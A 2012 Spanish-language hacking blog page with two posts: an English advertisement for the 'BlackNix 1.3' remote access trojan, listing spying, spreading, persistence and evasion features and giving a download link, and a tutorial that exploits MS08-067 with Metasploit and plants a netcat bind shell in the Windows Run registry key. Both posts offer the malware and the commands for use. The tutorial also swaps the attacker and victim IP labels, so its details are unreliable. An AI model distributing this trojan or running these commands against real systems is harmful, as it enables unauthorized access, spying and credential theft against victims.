Social Icons

Mostrando entradas con la etiqueta RAT. Mostrar todas las entradas
Mostrando entradas con la etiqueta RAT. Mostrar todas las entradas

domingo, 30 de septiembre de 2012

BlackNix 1.3 RAT


[Image: 1347551346-banniere.png]

[Image: 120830123206806998.png]

BlackNix rat is a rat coded in delphi. 
BlackNix rat have much features (i think)
If you have some idea for next update you can send me PM Smile

Feature from the new version

---> More Fun Feature
---> Patched Memory (you can host any number of bots without crash of client)

Client Features:

  • Notify sound custom
  • Keylogger fully custom (color can be custom) you can auto-color some Windows Title like "Steam" "Facebook" ect..
  • Auto Update-Server
  • Statistics Connections
  • Show Cpu Usage and memory
  • WebCam Capture
  • Show Thumbails
  • Open DVD
  • Close DVD
  • Patched Memory (you can host any number of bots without crash of client)
  • P2P Spread
  • 4 Skins
  • Edit identification
  • Unstall,close,restart server or computer
  • Update Server
  • Share Server (you can share your bot with your friend who have blacknix)
  • Sock5
  • Usb Spread working on XP / Windows 7 / Windows 8
  • Download and execute (url)
  • Download and execute (file)
  • Fun Stuff
  • Open WebSite
  • Message Box
  • Icon Changer
  • Binder
  • Clear Steam (force target, to enter ID on steam)
  • Run ShellCode (C/Delphi/ASM)
  • File Manager with icons ! Refresh,execute,delete,new,rename,download,upload,set wallpaper, new folder and more feature Wink
  • Transfers Download/Upload Manager
  • Windows Manager (close windows,kill windows,change title of windows,minimised,maximised,freeze,unfreez,send key
  • Search in HDD file
  • Services Manager (install your service,remove service,start service,stop service
  • Process Manager (kill,start,view)
  • Registry Manager (refresh, modify,rename,delete,make key string,binary,value,multi-string)
  • Applications Manager (show,uninstall)
  • Remote Desktop (Quality custom,mouse,keyboard,move of mouse or no, save screen, delete wallpaper,block mouse and keyboard ect..)
  • Keylogger Online
  • Keylogger Offline per day
  • Audio Capture
  • Password Recovery firefox,messenger,protected storage
  • Wireless Manager
  • Remote Shell
  • And much more feature Wink

Server Features:

  • Coded in delphi & ASM
  • Work under all Windows and Linux/Mac OS (under Wine)
  • Group System and identification system
  • Ghost system (you can know if you have bot offline or no)
  • Server can be installed on Windows,Program Files,Application Data (bypass UAC), or where you want (custom installs)
  • Add to startup Registry
  • Add to startup Active X
  • Injection into Browser
  • Persistence Registry
  • Persistence Process
  • Offline Keylogger
  • Light stub and normal stub
  • Offline Screen
  • Anti sandboxie
  • Mutex

Thanks to:

---> counterstrikewi (nice snippet) 
---> DarkCoderSc (for help me to start delphi 2 years ago) 
---> Thanks to all other member who help me for test the rat :ninja:



DOWNLOAD: https://www.dropbox.com/s/rkvgc6zavzm5a2s/BlackNix%201.3.zip

domingo, 26 de agosto de 2012

Backdoor en window con metasploit y netcat

Buenas buenas gente!
hoy les traigo com hacer un backdoor a un window$ con 'Metasploit' ( el dios de dioses ) y el netcat (nc)
si usan un poco la imaginacion se puede hacer un monton de cosas ;) 

primero copiamos este archivo que es el netcat para windows al escritorio para un acceso mas rapido


root@bt:~# cp /pentest/windows-binaries/tools/nc.exe /root/Desktop/

ahora abrimos el metasploit y comenzamos la configuracion

root@bt:~# msfconsole
msf > use exploit/windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi)) > set payload windows/meterpreter/reverse_tcp
msf exploit(ms08_067_netapi)) > set lhost 192.168.1.102 (IP victima)
msf exploit(ms08_067_netapi)) > set rhost 192.168.1.103 (nuestra IP)
msf exploit(ms08_067_netapi)) > exploit

usa vez que allamos explotando la vulnerabilidad y tengamos acceso a meterpreter empezamos a configurar el backdoor

meterpreter > upload /root/Desktop/nc.exe C:\\WINDOWS\\system32\\
meterpreter > reg enumkey -k HKLM\\Software\\Windows\\CurrentVerion\\RUN
meterpreter > reg setval -k HKLM\\Software\\Windows\\CurrentVerion\\RUN -v BACKDOOR -d c:\\WINDOWS\\system32\\nc.exe" -L -d -p 666 -e cmd.exe"
meterpreter > reg enumkey -k HKLM\\Software\\Windows\\CurrentVerion\\RUN
meterpreter > reboot

el windows se reiniciara, y ejecutara nuestro backdoor al inicio.

y ahora nos conectamos que el netcat de nuestra maquina


root@bt:~# nc 192.168.1.102 666

Listo :D